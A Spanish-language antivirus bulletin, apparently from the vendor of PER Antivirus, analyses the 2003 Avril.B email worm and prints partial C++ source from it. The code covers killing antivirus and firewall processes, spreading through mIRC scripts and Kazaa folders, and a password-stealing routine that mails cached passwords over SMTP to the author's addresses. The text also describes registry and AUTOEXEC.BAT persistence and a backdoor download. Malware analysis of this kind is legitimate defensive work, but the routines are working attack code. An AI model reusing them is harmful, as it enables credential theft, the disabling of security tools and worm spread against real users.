|
W32/Avril.B@mm, W32/Avron.B@mm, I.worm.Avron.B@mm, Lirva.C@mm, Naith.C@mm
Avril.B es un gusano de origen ruso, reportado el 08 de Enero del 2003, variante del Avril, del cual emitiéramos un boletín el 18 de Diciembre del 2002. Su propio autor lo denomina Avril-II y no existe ninguna tercera versión, a la fecha, tal como lo vienen anunciando algunos desarrolladores de antivirus.
Luego de establecer contacto, en forma encubierta, con su autor Otto von Gutenberg el 22 de ese mismo mes escribimos el artículo
AUTOR DE GUSANO AVRON PRE-ANUNCIA NUEVA VERSIÓN DE AVRIL en el cual dimos a conocer, quizás en forma inédita, que un desarrollador de antivirus contaba con la muestra y el código fuente de un gusano que se iba a propagar exitosamente en el mundo 2 semanas después. Debemos confesar que no era la primera vez que lo hacemos.Es así como en esta oportunidad y a solicitud de muchos usuarios que desean conocer acerca de la programación de virus, daremos tan solo algunos detalles del laborioso código de este nocivo gusano.
Avril.B es un gusano reportado el 08 de de Enero del 2003, de difusión masiva y alta capacidad de infección vía mensajes de correo, el IRC (Internet Chat Relay), ICQ, KaZaA y los recursos de las unidades compartidas en las Redes Locales (LAN). Tiene una gran variedad de formatos y aleatoriamente puede infectar con tan solo leer el mensaje o ejecutando el archivo infectado.
Posee una rutina para robar claves de acceso y otra para desactivar antivirus y firewalls.
Está desarrollado en MS Visual C++, con una extensión de 34 KB y comprimido con el utilitario UPX (Ultimate Packer for eXecutables):
Es un PE (Portable Ejecutable) e infecta Windows 95/98/NT/Me/2000/XP, incluyendo los servidores NT/2000/XP
/*******************************************/
/* Copyright 2002 (c) Otto von Gutenberg */
/* Type: W32/Worm/Email + Memory resident */
/* running as the service application */
/* Features: Memory scanning + In WAB file */
/* addresses seeking */
/* Purpose: only educational */
/* Platforms: Win9x/WinNT/Win2000 - WinXP? */
/*******************************************/
/* ATTENTION! */
/* THE AUTHOR OF THIS WORM IS NO */
/* RESPONSIBLE OF THE DAMAGES CAUSED BY IT */
/*******************************************/
#include <winsock.h>
#include <windows.h>
#include <tlhelp32.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fstream.h>
#include "reg_proc.h"
#include "basehead.h"
#include "findhead.h"
#include "get_pass.h"
#define CRLF "\n"
#define MUTEX_NAME "AVRIL_LAVIGNE_LET_GO"
Los mensajes de correo tienen los siguientes formatos:
El campo De: contiene una dirección capturada del sistema infectado.
El Asunto: es seleccionado al azar de uno de los siguientes:
char Emails[MAX_EMAILS][64]; El Contenido: es uno de los siguientes formatos HTML
elegido al azar: Texto 1:
char Subjects[MAX_SUBJECTS][255] = {"Fw: Prohibited customers...",
"Re: Brigade Ocho Free membership",
"Re: According to Daos Summit",
"Fw: Avril Lavigne - the best",
"Re: Reply on account for IIS-Security",
"Re: ACTR/ACCELS Transcriptions",
"Re: The real estate plunger",
"Fwd: Re: Admission procedure",//
"Re: Reply on account for IFRAME-Security breach",
"Fwd: Re: Reply on account for Incorrect MIME-header"};
"Fw: IREX Fields Description
"Re: ACCELS Awards results for 2003
"Re: Avril Fans will rock you
"Fw: Avril Lavigne - the best
"Re: Antique themes
"Re: ACTR/ACCELS Transcriptions
"Fwd: Re: Reply on account for IncorrectMIME-header
"Re: Vote seniors masters -don't miss it!,
"Fwd: RFC-0245
"Specification requested...
"Fwd: RFC-0841,
"Fw: F. M. Dostoyevsky,
"Crime and Punishment,
"Re: Junior Achievement,
"Re: Ha perduto qualque cosa signora?
Texto 2:
Texto 4:
Texto 5:
Texto 6:
El archivo Anexado es uno de los siguientes:
char Attachments[MAX_ATTACHMENTS][64] = { "Resume.exe",
"Download.exe",
"MSO-Patch-0071.exe",
"MSO-Patch-0035.exe",
"Incorrect.exe",
"Transcripts.exe",
"Readme.exe",
"AvrilSmiles.exe",
"AvrilLavigne.exe",
"Complicated.exe",
"Singles.exe",
"Sophos.exe",
"Cogito_Ergo_Sum.exe",
"CERT-Vuln-Info.exe",
"Sk8erBoi.exe"};
"IAmWiThYoU.exe
"Phantom.exe
"EntradoDePer.exe
"SiamoDiTe.exe
"BioData.exe
"ALavigne.exe
"<aleatorio>.TXT
"<aleatorio>.DOC
Al igual que su versión anterior, este singular gusano aprovecha la vulnerabilidad denominada
MIME
Exploit para auto-ejecutarse con tan solo visualizar el mensaje si el
usuario tiene configurado su software de correo con la opción de Vista previa.
Si el mensaje es visualizado o el archivo infectado es
ejecutado, cualquiera sea el caso, el gusano se copiará a las carpetas %System%,
%Temporal%, %Todos_
los_ Drives% y %Kazaa_Downloads% con nombres aleatorios, elegidos de una serie de cadenas contenidos en su
código, con la extensiones .EXE
y
.TFT
y con el atributo de archivos "ocultos" del sistema:
También se copia a varias carpetas elegidas al azar con nombres aleatorios y genera en ellas copias de sí mismo con los nombres:
Para activarse al siguiente vez que se inicie el sistema modifica la llave de registro:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"Avril Lavigne - Muse" =
C:\%System%\nombre_aleatorio_de_archivo_infectado
%System% es la variable C:\Windows\System para Windows 95/98/Me, C:\Winnt\System32 para Windows NT/2000 y C:\Windows\System32 para Windows XP.
En el caso de los sistemas Windows NT/2000/XP, el gusano se registrará como un servicio y para controlar sus efectos nocivos crea las siguientes instrucciones:
//<-----------------------RegisterServiceProcess----------------------->
BOOL RegisterServiceProcess(DWORD dwProcessId, DWORD dwRegisterFlag)
{
HINSTANCE hKernel32Dll;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hKernel32Dll = LoadLibrary("KERNEL32.DLL");
if(!hKernel32Dll) return FALSE;
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS) GetProcAddress(hKernel32Dll, "RegisterServiceProcess");
if(!lpRegisterServiceProcess) return FALSE;
lpRegisterServiceProcess(dwProcessId, dwRegisterFlag);
FreeLibrary(hKernel32Dll);
return TRUE;
}
En los sistema que tienen instalado Windows 95/98/Me el gusano envía por correo las claves de acceso a la Red, almacenadas en caché, a las direcciones del autor
Avril.B ejecuta una rutina que intenta desactivar los procesos de la mayoría de antivirus y firewalls, con lo cual dejará indefensos a los equipos infectados con esta instrucciones:
char* bad_windows_list[BW_TOTAL] = {"Norton","AVP","Anti","Virus","McAfee","anti","virus"};
char* Extensions[TOTAL_EXT] = {".DBX",".MBX",".WAB",".HTML",".EML",".HTM",".IDX",".SHTML",".NCH"};
char* bad_processes_list[BP_ROWS][BP_COLS] = { {"AVP32.EXE","AVPMON.EXE","ZONEALARM.EXE","VSHWIN32.EXE","VET95.EXE","TBSCAN.EXE","SERV95.EXE"},
{"SCAN32.EXE","RAV7.EXE","NAVW.EXE","OUTPOST.EXE","NMAIN.EXE","NAVNT.EXE","MPFTRAY.EXE"},
{"LOCKDOWN2000.EXE","ICSSUPPNT.EXE","ICLOAD95.EXE","IAMAPP.EXE","FINDVIRU.EXE","F-AGNT95.EXE","DV95.EXE"},
{"DV95_O.EXE","CLAW95CT.EXE","CFIAUDIT.EXE","AVWUPD32.EXE","AVPTC32.EXE","_AVP32.EXE","AVGCTRL.EXE"},
{"APVXDWIN.EXE","_AVPCC.EXE","AVPCC.EXE","WFINDV32.EXE","VSECOMR.EXE","TDS2-NT.EXE","SWEEP95.EXE"},
{"SCRSCAN.EXE","SAFEWEB.EXE","PERSFW.EXE","NAVSCHED.EXE","NVC95.EXE","NISUM.EXE","NAVLU32.EXE"},
{"MOOLIVE.EXE","JED.EXE","ICSUPP95.EXE","IBMAVSP.EXE","FRW.EXE","F-STOPW.EXE","ESPWATCH.EXE"},
{"DVP95.EXE","CLAW95.EXE","CFIADMIN.EXE","AVWIN95.EXE","AVPM.EXE","AVP.EXE","AVE32.EXE"},
{"ANTI-TROJAN.EXE","WEBSCAN.EXE","WEBSCANX.EXE","VSSCAN40.EXE","TDS2-98.EXE","SPHINX.EXE","SCANPM.EXE"},
{"RESCUE.EXE","PCFWALLICON.EXE","PAVCL.EXE","NUPGRADE.EXE","NAVWNT.EXE","NAVAPW32.EXE","LUALL.EXE"},
{"IOMON98.EXE","ICMOON.EXE","IBMASN.EXE","FPROT.EXE","F-PROT95.EXE","ESAFE.EXE","CLEANER3.EXE"},
{"EFINET32.EXE","BLACKICE.EXE","AVSCHED32.EXE","AVPDOS32.EXE","AVPNT.EXE","AVCONSOL.EXE","ACKWIN32.EXE"},
{"VSSTAT.EXE","VETTRAY.EXE","TCA.EXE","SMC.EXE","SCAN95.EXE","RAV7WIN.EXE","PCCWIN98.EXE"},
{"PADMIN.EXE","NORMIST.EXE","NAVW32.EXE","N32SCAN.EXE","LOOKOUT.EXE","IFACE.EXE","ICLOADNT.EXE"},
{"IAMSERV.EXE","FP-WIN.EXE","F-PROT.EXE","ECENGINE.EXE","CLEANER.EXE","CFIND.EXE","BLACKD.EXE"},
{"AVPUPD.EXE","AVKSERV.EXE","AUTODOWN.EXE","_AVPM.EXE","AVPM.EXE","KPFW32.EXE","KPF.EXE"}};
Del mismo modo cancela los procesos de estas cadenas:
//<-----------------------IsItAffordableAddress----------------------->
BOOL IsItAffordableAddress(char strAddress[64])
{
const MaxD = 7;
char szDismissed[MaxD][64] = {"antivirus","@panda","@mcafee","@f-secure","@symantec","@avp","@kaspersky"};
for (int i=0;i<MaxD;i++)
if (strstr(strAddress,szDismissed[i])!=0) return FALSE;
return TRUE;
}
Luego el gusano constata si el sistema está conectado a Internet, de lo contrario intentará hacerlo a la conexión configurada por defecto.
Para el envío masivo de mensajes extrae los buzones de correo de la Libreta de Direcciones de Windows así como de los archivos con extensiones .dbx, .mbx, .wab, .html, .eml, .htm, .tbb, .shtml, .nch e .idx.
Para auto-enviarse masivamente se conecta al servidor SMTP (Simple Mail Transfer Protocol) instalado por defecto en el sistema infectado.
El gusano crea el archivo %Temporal%\NewBoot.sys, rastrea el Icqmapi.dll configurado por el ICQ y de hallarlo lo copia a la carpeta %System% para poder auto-enviarse a todos los contactos del ICQ. También crea el archivo Script.ini en el directorio del popular software de Chat mIRC, el cual se conecta al canal IRC "channel #avrillavigne" auto-enviándose e infectando a otros usuarios conectados a ese canal.
//<-----------------------SpreadToMircClient----------------------->
BOOL SpreadToMircClient()
{
char szTemp[MAX_PATH];
char szFile[MAX_PATH];
char szScript[MAX_PATH];
ofstream script;
if (strlen(szMircPath)>0)
{
GetTempPath(sizeof(szTemp),szTemp);
sprintf(szFile,"%s%s",szTemp,Attachments[RetRndNumber(MAX_ATTACHMENTS)]);
if (CopyFile(szFilename,szFile,FALSE))
{
SetFileAttributes(szFile,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
sprintf(szScript,"%s%s",szMircPath,"script.ini");
script.open(szScript,ios::out);
sprintf(szTemp,"[Script]\n"); script.write(szTemp,strlen(szTemp));
sprintf(szTemp,"n0=ON 1:JOIN:#:{\n"); script.write(szTemp,strlen(szTemp));
sprintf(szTemp,"n1=/dcc send $nick %s\n",szFile); script.write(szTemp,strlen(szTemp));
sprintf(szTemp,"n2=}\nn3=on 1:start:{\n",szFile); script.write(szTemp,strlen(szTemp));
sprintf(szTemp,"n4= /join #avrillavigne\n",szFile); script.write(szTemp,strlen(szTemp));
sprintf(szTemp,"n5=}\n",szFile); script.write(szTemp,strlen(szTemp));
script.close();
return TRUE;
}
else return FALSE;
}
else return FALSE;
}
También se copia con nombres aleatorios al directorio \RECYCLED en todas las unidades lógicas de los discos de las redes LAN y en el caso de no existir el mencionado directorio, se copiará al directorio raíz de cada una de las unidades de disco y modifica el AUTOEXEC.BAT para ejecutarse cada vez que se re-inicie del sistema, agregando la línea:
@win.exe\Recycled\nombre_de archivo_infectado
Luego activará su rutina de "robo" o captura de Claves de Acceso almacenadas en el "Cache" , las cuales serán enviadas a las direcciones del autor con un componente troyano:
//<--------------------PSWTrojanComponent-------------------->
BOOL PSWTrojanComponent()
{
char MailingList[2][64] = {"otto_psws@smtp.ru","otto_pass@smtp.ru"};
/*{ "otto_pass@front.ru","otto_wa@front.ru",
"otto_psws@pochta.ws","otto_psws@hotbox.ru",
"otto_vg@front.ru"};*/
char strTo[64];
int i;
BOOL Connected = FALSE;
strncpy(strTo,MailingList[RetRndNumber(2)],sizeof(strTo));
GetProviderInfo(strTo);
ErrorLevel = ERROR_LEVEL_NONE;
if (GetCachedPasswords())
{
i = 0;
Connected = FALSE;
while (!Connected && i<MAX_PREFIXES)
{
strncpy(szServer,"",sizeof(szHelo));
sprintf(szServer,"%s%s",szPrefixes[i],szHelo);
Connected = ConnectTo();
i++;
}
if (Connected)
{
sprintf(szMsgLine,"HELO %s%s",szHelo,CRLF);
Send(); Receive();
sprintf(szMsgLine,"MAIL FROM: <%s>%s",strTo,CRLF);
Send(); Receive();
sprintf(szMsgLine,"RCPT TO: <%s>%s",strTo,CRLF);
Send(); Receive();
sprintf(szMsgLine,"DATA%s",CRLF);
Send(); Receive();
sprintf(szMsgLine,"To: %s%s",strTo,CRLF); Send();
sprintf(szMsgLine,"From: %s%s",szRegisteredOwner,CRLF); Send();
sprintf(szMsgLine,"Subject: PASSWORD GOT%s",CRLF); Send();
sprintf(szMsgLine,"MIME-Version: 1.0%s",CRLF); Send();
sprintf(szMsgLine,"Content-Type: text/plain%s",CRLF); Send();
sprintf(szMsgLine,"Content-Transfer-Encoding: 7bit%s%s",CRLF,CRLF); Send();
for (i=0;i<TotalPasswords;i++)
{
if (i%2==0)
{
sprintf(szMsgLine,"%s",CRLF); Send();
}
sprintf(szMsgLine,"%s%s",Passwords[i],CRLF); Send();
}
sprintf(szMsgLine,"%s.%s",CRLF,CRLF);
Send(); Receive();
sprintf(szMsgLine,"QUIT%s",CRLF);
Send(); Receive();
}
else
{
closesocket(hServer);
return FALSE;
}
}
else return FALSE;
ErrorLevel = ERROR_LEVEL_NONE;
closesocket(hServer);
return TRUE;
}
//<-----------------------SpreadToKazaa----------------------->
BOOL SpreadToKazaa()
{
char szKazaa[MAX_PATH];
unsigned char strBuffer[1024];
DWORD dwBufferLen = sizeof(strBuffer);
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Kazaa\\Transfer",0,KEY_QUERY_VALUE,&hKey);
RegQueryValueEx(hKey,"DlDir0",0,NULL,strBuffer,&dwBufferLen);
RegCloseKey(hKey);
if (strBuffer[strlen((char*)strBuffer)]=='\\') strBuffer[strlen((char*)strBuffer)] = 0;
sprintf(szKazaa,"%s\\%s",(char*)strBuffer,Attachments[RetRndNumber(MAX_ATTACHMENTS)]);
if (CopyFile(szFilename,szKazaa,FALSE)) return TRUE;
else return FALSE;
return FALSE;
}
El gusano descarga desde 3 direcciones de Internet un troyano/backdoor y para ejecutarlos genera la siguiente llave de registro:
[HKEY_LOCAL_MACHINE\ Software\Microsoft\Windows\CurrentVersion\Run]
SocketListener = Nombre_de_archivo_servidor_del_backdoor
Sin embargo, el portal desde el cual debería descargar el Back Orifice ha sido deshabilitado.
Los días 07, 11 y 24 de cada mes el gusano se conecta a:
Y muestra en pantalla un colorida gráfico elíptico con el siguiente texto:
| AVRIL_LAVIGNE_LET_GO - MY_MUSE:) 2002 (c) Otto von Gutenberg |
Los payloads de este gusano son:
Se propaga masivamente por correo.
Se propaga a través del ICQ, Chat, Redes compartidas y Kazaa.
Deshabilita antivirus y Firewalls.
Roba claves de acceso y las envía a las direcciones de correo del autor.
Libera un troyano/backdoor de Control Remoto.
Intenta conectarse al sitio web de la joven y bella cantante canadiense Avril Lavigne y muestra en pantalla un grafico colorido con un texto alusivo a la cantante y el autor.
PER ANTIVIRUS® versión 7.8 con registro de virus al 18 de Diciembre del 2002 y la versión 7.9 con registro de virus al 09 de Enero del 2003 detecta y elimina eficientemente este gusano y sus variantes existentes y por crearse, gracias a una plantilla de rutina heurística.
Nota: los códigos fuente son parciales y se presentan únicamente con propósitos educativos.